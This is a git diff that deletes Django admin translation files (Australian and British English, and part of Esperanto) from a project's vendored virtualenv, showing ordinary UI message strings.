b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 077e7840..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.po deleted file mode 100644 index c4e52eb1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,266 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Tom Fifield , 2014 -# Tom Fifield , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-04-11 13:13+0000\n" -"Last-Translator: Tom Fifield \n" -"Language-Team: English (Australia) (http://www.transifex.com/django/django/" -"language/en_AU/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_AU\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Available %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Type into this box to filter down the list of available %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Choose all" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Click to choose all %s at once." - -msgid "Choose" -msgstr "Choose" - -msgid "Remove" -msgstr "Remove" - -#, javascript-format -msgid "Chosen %s" -msgstr "Chosen %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." - -msgid "Remove all" -msgstr "Remove all" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Click to remove all chosen %s at once." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s of %(cnt)s selected" -msgstr[1] "%(sel)s of %(cnt)s selected" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." - -msgid "Now" -msgstr "Now" - -msgid "Midnight" -msgstr "Midnight" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Noon" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Note: You are %s hour ahead of server time." -msgstr[1] "Note: You are %s hours ahead of server time." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Note: You are %s hour behind server time." -msgstr[1] "Note: You are %s hours behind server time." - -msgid "Choose a Time" -msgstr "Choose a Time" - -msgid "Choose a time" -msgstr "Choose a time" - -msgid "Cancel" -msgstr "Cancel" - -msgid "Today" -msgstr "Today" - -msgid "Choose a Date" -msgstr "Choose a Date" - -msgid "Yesterday" -msgstr "Yesterday" - -msgid "Tomorrow" -msgstr "Tomorrow" - -msgid "January" -msgstr "January" - -msgid "February" -msgstr "February" - -msgid "March" -msgstr "March" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "June" - -msgid "July" -msgstr "July" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "October" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "December" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Oct" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "W" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Show" - -msgid "Hide" -msgstr "Hide" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.mo deleted file mode 100644 index b20f7bd1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.po deleted file mode 100644 index 167a0dba..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/django.po +++ /dev/null @@ -1,691 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Adam Forster , 2019 -# jon_atkinson , 2011-2012 -# Ross Poulton , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-01-16 20:42+0100\n" -"PO-Revision-Date: 2019-04-05 10:37+0000\n" -"Last-Translator: Adam Forster \n" -"Language-Team: English (United Kingdom) (http://www.transifex.com/django/" -"django/language/en_GB/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_GB\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Successfully deleted %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Cannot delete %(name)s" - -msgid "Are you sure?" -msgstr "Are you sure?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Delete selected %(verbose_name_plural)s" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "All" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Unknown" - -msgid "Any date" -msgstr "Any date" - -msgid "Today" -msgstr "Today" - -msgid "Past 7 days" -msgstr "Past 7 days" - -msgid "This month" -msgstr "This month" - -msgid "This year" -msgstr "This year" - -msgid "No date" -msgstr "No date" - -msgid "Has date" -msgstr "Has date" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." - -msgid "Action:" -msgstr "Action:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Add another %(verbose_name)s" - -msgid "Remove" -msgstr "Remove" - -msgid "Addition" -msgstr "Addition" - -msgid "Change" -msgstr "Change" - -msgid "Deletion" -msgstr "Deletion" - -msgid "action time" -msgstr "action time" - -msgid "user" -msgstr "user" - -msgid "content type" -msgstr "content type" - -msgid "object id" -msgstr "object id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "object repr" - -msgid "action flag" -msgstr "action flag" - -msgid "change message" -msgstr "change message" - -msgid "log entry" -msgstr "log entry" - -msgid "log entries" -msgstr "log entries" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Added \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Changed \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Deleted \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "LogEntry Object" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "Added {name} \"{object}\"." - -msgid "Added." -msgstr "Added." - -msgid "and" -msgstr "and" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "No fields changed." - -msgid "None" -msgstr "None" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." - -msgid "No action selected." -msgstr "No action selected." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "The %(name)s \"%(obj)s\" was deleted successfully." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Add %s" - -#, python-format -msgid "Change %s" -msgstr "Change %s" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "Database error" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s was changed successfully." -msgstr[1] "%(count)s %(name)s were changed successfully." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selected" -msgstr[1] "All %(total_count)s selected" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 of %(cnt)s selected" - -#, python-format -msgid "Change history: %s" -msgstr "Change history: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Django site admin" - -msgid "Django administration" -msgstr "Django administration" - -msgid "Site administration" -msgstr "Site administration" - -msgid "Log in" -msgstr "Log in" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Page not found" - -msgid "We're sorry, but the requested page could not be found." -msgstr "We're sorry, but the requested page could not be found." - -msgid "Home" -msgstr "Home" - -msgid "Server error" -msgstr "Server error" - -msgid "Server error (500)" -msgstr "Server error (500)" - -msgid "Server Error (500)" -msgstr "Server Error (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Run the selected action" - -msgid "Go" -msgstr "Go" - -msgid "Click here to select the objects across all pages" -msgstr "Click here to select the objects across all pages" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Select all %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Clear selection" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." - -msgid "Enter a username and password." -msgstr "Enter a username and password." - -msgid "Change password" -msgstr "Change password" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Enter a new password for the user %(username)s." - -msgid "Welcome," -msgstr "Welcome," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Documentation" - -msgid "Log out" -msgstr "Log out" - -#, python-format -msgid "Add %(name)s" -msgstr "Add %(name)s" - -msgid "History" -msgstr "History" - -msgid "View on site" -msgstr "View on site" - -msgid "Filter" -msgstr "Filter" - -msgid "Remove from sorting" -msgstr "Remove from sorting" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorting priority: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toggle sorting" - -msgid "Delete" -msgstr "Delete" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Yes, I'm sure" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Delete multiple objects" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" - -msgid "View" -msgstr "" - -msgid "Delete?" -msgstr "Delete?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " By %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Add" - -msgid "You don't have permission to view or edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "None available" - -msgid "Unknown content" -msgstr "Unknown content" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Forgotten your password or username?" - -msgid "Date/time" -msgstr "Date/time" - -msgid "User" -msgstr "User" - -msgid "Action" -msgstr "Action" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." - -msgid "Show all" -msgstr "Show all" - -msgid "Save" -msgstr "Save" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Search" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s result" -msgstr[1] "%(counter)s results" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Save as new" - -msgid "Save and add another" -msgstr "Save and add another" - -msgid "Save and continue editing" -msgstr "Save and continue editing" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Thanks for spending some quality time with the Web site today." - -msgid "Log in again" -msgstr "Log in again" - -msgid "Password change" -msgstr "Password change" - -msgid "Your password was changed." -msgstr "Your password was changed." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." - -msgid "Change my password" -msgstr "Change my password" - -msgid "Password reset" -msgstr "Password reset" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Your password has been set. You may go ahead and log in now." - -msgid "Password reset confirmation" -msgstr "Password reset confirmation" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." - -msgid "New password:" -msgstr "New password:" - -msgid "Confirm password:" -msgstr "Confirm password:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "Please go to the following page and choose a new password:" - -msgid "Your username, in case you've forgotten:" -msgstr "Your username, in case you've forgotten:" - -msgid "Thanks for using our site!" -msgstr "Thanks for using our site!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "The %(site_name)s team" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "Reset my password" - -msgid "All dates" -msgstr "All dates" - -#, python-format -msgid "Select %s" -msgstr "Select %s" - -#, python-format -msgid "Select %s to change" -msgstr "Select %s to change" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Date:" - -msgid "Time:" -msgstr "Time:" - -msgid "Lookup" -msgstr "Lookup" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0967a389..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.po deleted file mode 100644 index 03cf6799..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,218 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# jon_atkinson , 2012 -# Ross Poulton , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: English (United Kingdom) (http://www.transifex.com/django/" -"django/language/en_GB/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_GB\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Available %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Type into this box to filter down the list of available %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Choose all" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Click to choose all %s at once." - -msgid "Choose" -msgstr "Choose" - -msgid "Remove" -msgstr "Remove" - -#, javascript-format -msgid "Chosen %s" -msgstr "Chosen %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." - -msgid "Remove all" -msgstr "Remove all" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Click to remove all chosen %s at once." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s of %(cnt)s selected" -msgstr[1] "%(sel)s of %(cnt)s selected" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Now" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Choose a time" - -msgid "Midnight" -msgstr "Midnight" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Noon" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Cancel" - -msgid "Today" -msgstr "Today" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Yesterday" - -msgid "Tomorrow" -msgstr "Tomorrow" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Show" - -msgid "Hide" -msgstr "Hide" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.mo deleted file mode 100644 index 7848659d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.po deleted file mode 100644 index ddc5901f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/django.po +++ /dev/null @@ -1,728 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Batist D 🐍 , 2012-2013 -# Batist D 🐍 , 2013-2019 -# Claude Paroz , 2016 -# Dinu Gherman , 2011 -# kristjan , 2012 -# Matthieu Desplantes , 2021 -# Meiyer , 2022 -# Nikolay Korotkiy , 2017 -# Adamo Mesha , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-05-25 07:05+0000\n" -"Last-Translator: Meiyer , 2022\n" -"Language-Team: Esperanto (http://www.transifex.com/django/django/language/" -"eo/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eo\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Forigi elektitajn %(verbose_name_plural)sn" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Sukcese forigis %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ne povas forigi %(name)s" - -msgid "Are you sure?" -msgstr "Ĉu vi certas?" - -msgid "Administration" -msgstr "Administrado" - -msgid "All" -msgstr "Ĉio" - -msgid "Yes" -msgstr "Jes" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Nekonata" - -msgid "Any date" -msgstr "Ajna dato" - -msgid "Today" -msgstr "Hodiaŭ" - -msgid "Past 7 days" -msgstr "Lastaj 7 tagoj" - -msgid "This month" -msgstr "Ĉi tiu monato" - -msgid "This year" -msgstr "Ĉi tiu jaro" - -msgid "No date" -msgstr "Neniu dato" - -msgid "Has date" -msgstr "Havas daton" - -msgid "Empty" -msgstr "Malplena" - -msgid "Not empty" -msgstr "Ne malplena" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Bonvolu enigi la ĝustajn %(username)sn kaj pasvorton por personara konto. " -"Notu, ke ambaŭ kampoj povas esti uskleco-distingaj." - -msgid "Action:" -msgstr "Ago:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Aldoni alian %(verbose_name)sn" - -msgid "Remove" -msgstr "Forigi" - -msgid "Addition" -msgstr "Aldono" - -msgid "Change" -msgstr "Ŝanĝi" - -msgid "Deletion" -msgstr "Forviŝo" - -msgid "action time" -msgstr "aga tempo" - -msgid "user" -msgstr "uzanto" - -msgid "content type" -msgstr "enhava tipo" - -msgid "object id" -msgstr "objekta identigaĵo" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekta prezento" - -msgid "action flag" -msgstr "aga marko" - -msgid "change message" -msgstr "ŝanĝmesaĝo" - -msgid "log entry" -msgstr "protokolero" - -msgid "log entries" -msgstr "protokoleroj" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Aldono de “%(object)s”" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Ŝanĝo de “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Forigo de “%(object)s”" - -msgid "LogEntry Object" -msgstr "Protokolera objekto" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Aldonita(j) {name} “{object}”." - -msgid "Added." -msgstr "Aldonita." - -msgid "and" -msgstr "kaj" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Ŝanĝita(j) {fields} por {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Ŝanĝita(j) {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Forigita(j) {name} “{object}”." - -msgid "No fields changed." -msgstr "Neniu kampo ŝanĝita." - -msgid "None" -msgstr "Neniu" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "La {name} “{obj}” estis sukcese aldonita(j)." - -msgid "You may edit it again below." -msgstr "Eblas redakti ĝin sube." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} 